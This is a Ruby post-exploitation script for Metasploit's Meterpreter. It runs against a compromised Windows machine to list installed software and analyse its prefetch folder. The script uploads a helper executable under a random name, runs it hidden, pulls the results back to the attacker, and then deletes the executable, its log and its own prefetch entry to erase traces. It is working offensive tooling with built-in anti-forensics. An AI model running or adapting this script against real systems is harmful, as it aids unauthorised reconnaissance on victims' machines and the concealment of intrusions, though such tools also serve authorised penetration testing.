# $Id$
#Meterpreter script for extracting information from windows prefetch folder
#Provided by Milo at keith.lee2012[at]gmail.com
#Verion: 0.1.0
require 'fileutils'
require 'net/http'
require 'digest/sha1'
@session = client
@host,@port = @session.tunnel_peer.split(':')
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-p" => [ false, "List Installed Programs"],
"-c" => [ false, "Disable SHA1/MD5 checksum"],
"-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"],
"-i" => [ false, "Perform lookup for software name"],
"-l" => [ false, "Download Prefetch Folder Analysis Log"]
)
@tempdir = @session.fs.file.expand_path("%TEMP%")
#---------------------------------------------------------------------------------------------------------
def read_program_list
key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
sfmsvals = key.enum_key
sfmsvals.each do |test1|
begin
key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
root_key2, base_key2 = @session.sys.registry.splitkey(key2)
value1 = "DisplayName"
value2 = "DisplayVersion"
open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
v1 = open_key.query_value(value1)
v2 = open_key.query_value(value2)
print_status("#{v1.data}\t(Version: #{v2.data})")
rescue
end
end
end
def prefetch_dump(options, logging=false)
lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
rexe = sprintf("%.5d",rand(100000)) + ".exe"
rlog = sprintf("%.5d",rand(100000)) + ".txt"
print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
begin
@session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
rescue ::Interrupt; raise $!
rescue ::Exception => e
print_status("The following error was encountered: #{e.class} #{e}")
return
end
begin
if(logging)
options += " --txt=#{@tempdir}\\#{rlog}"
end
r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
d.split("\n").each do |out|
print_status("OUT> #{out.strip}")
end
end
found = true
while (not found)
found = false
@session.sys.process.get_processes().each do |x|
found = false
if (x['name'].downcase == rexe)
found = true
end
end
sleep(0.5) if found
end
r.channel.close
r.close
print_status("Deleting #{rexe} from target...")
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})
print_status("Clearing prefetch-tool prefetch entry ...")
@session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})
if(logging)
logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
print_status("[*] Saving prefetch logs to #{logfile}...")
@session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
print_status("[*] Deleting log file from target...")
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
end
rescue ::Interrupt; raise $!
rescue ::Exception => e
print_status("The following error was encountered: #{e.class} #{e}")
return
end
end
#check for proper Meterpreter Platform
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
################## MAIN ##################
options = ""
logging = false
view_list = false
check_update = false
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-x"
options += " --x=" + val
when "-c"
options += " --disable-md5 --disable-sha1"
when "-p"
view_list = true
when "-i"
options += " --inet-lookup"
when "-l"
logging = true
when "-h"
print_status( "Prefetch-tool Meterpreter Script")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
unsupported if client.platform !~ /win32|win64/i
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")
if !(::File.exist?(prefetch_local))
print_status("No local copy of prefetch.exe, downloading from the internet...")
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
req = Net::HTTP::Get.new("/files/prefetch.exe")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
fd.write(resp.body)
end
end
print_status("Downloaded prefetch.exe to #{prefetch_local}")
else
print_status("Checking for an updated copy of prefetch.exe..")
digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))
Net::HTTP.start("code.google.com") do |http|
req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
resp = http.request(req)
body = resp.body
chksum = body.scan(/SHA1 Checksum:.*<\/span>
/)[0]
chksum.sub!(/SHA1 Checksum: /,'')
chksum.sub!(/<\/span>
/,'')
if (digest != chksum)
print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
req = Net::HTTP::Get.new("/files/prefetch.exe")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
fd.write(resp.body)
end
end
print_status("Downloaded prefetch.exe to #{prefetch_local}")
end
end
end
if (view_list)
read_program_list()
end
print_status("Running Prefetch-tool script...")
prefetch_dump(options, logging)